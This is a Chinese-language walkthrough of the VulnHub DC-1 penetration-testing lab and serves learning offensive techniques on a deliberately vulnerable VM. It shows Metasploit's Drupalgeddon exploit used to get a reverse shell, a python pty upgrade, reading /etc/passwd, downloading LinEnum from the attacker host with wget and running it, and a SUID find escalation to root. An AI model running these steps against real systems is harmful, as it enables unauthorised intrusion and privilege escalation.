前言

最近在家空闲时间增多,遂将vulhub靶场复现记录一番,第一篇文章从DC1开始写起,DC系列靶场在官方描述中属于初级靶场,所以我们先由DC1开始由浅入深。

靶场描述(官网机翻)

DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。

它旨在为初学者带来挑战,但它的难易程度将取决于您的技能和知识以及您的学习能力。

要成功完成此挑战,您将需要Linux技能,熟悉Linux命令行以及基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。

有多种方法可以获得根,但是,我已经包含了一些包含初学者线索的标志。

总共有五个标志,但最终目标是在根的主目录中查找并读取该标志。您甚至不需要是root就可以执行此操作,但是,您将需要root权限。

根据您的技能水平,您可以跳过查找这些标志中的大多数,并直接找到根。

初学者可能会遇到以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需的全部内容。

环境搭建

在官网下载DC1的系统压缩包 https://download.vulnhub.com/dc/DC-1.zip

将压缩包解压后使用vm虚拟机打开,获得一个Linux系统,将虚拟机设置为NAT模式,使其和我们的攻击机在一个局域网环境下。

复现过程

信息收集

1.我们先查看攻击机IP地址和所在局域网掩码。

image-20220616162316861

2.使用nmap对网段攻击机和靶机所在局域网进行扫描,检测存活主机。结果如下图所示,其中抛去网关和攻击机IP可以确定靶机为192.168.211.131

image-20220616165948499

3.对靶机IP进行扫描,从图片中可以看出靶机一共开放三个端口分别是22,80,111。其中80端口运行的cms为drupal 7,我们以此为突破口多靶机进行攻击。

image-20220616170219676

漏洞利用

1.Drupal 7存在多个CVE漏洞,我们先尝试使用msf中所带的exp进行攻击,通过search进行搜索可以看到msf中存在多个Drupal的exp,我们使用横线标注的exp进行攻击

image-20220616170735515

1
2
use exploit/multi/http/drupal_drupageddon 
set rhosts 192.168.211.131

image-20220616171121092

2.使用上面的配置命令成功获得meterpreter的反弹shell,输入shell命令获取linux的shell,如图所示

image-20220616174929398

但是这样的shell存在很大的弊端既不美观用起来也很别扭,所以我们这里使用python语句获取tty

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20220616175110128

使用find命令查询flag,获得flag1.txt。flag1.txt中一句英文,Every good CMS needs a config file - and so do you

image-20220616175731653

说明第二个flag2是在Drupal配置文件当中。这里先放下既然拿到了shell肯定是要看一眼/etc/passwd,然后在etc/passwd发现了点东西

image-20220616191123125

这里竟然存在一个flag4的用户,我们进入到flag4用户下发现flag4.txt,读取flag4.txt。

1
2
3
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

这里是让我们读取root目录下的flag,这里就需要用到提权的手段了。我们先收集一波信息看一下系统的版本。我们可以看到靶机系统是Debian 3.2.102-1,在网上检索一下这个版本的提权方法

image-20220616182704942

这里使用LInuEnum进行提权

kali 下载

1
git clone https://github.com/rebootuser/LinEnum.git

将LinEnum目录下面的LinEnum.sh放到kali的http服务主目录下,在我们之前获取到的靶机shell下进行下载

1
2
wget 192.168.211.130/LinEnum.sh
bash LinEnum.sh

image-20220616190756063

执行完毕后得到输入,获得root权限,在root目录下得到最终flag

1
find . -exec /bin/sh \; -quit

image-20220616191011770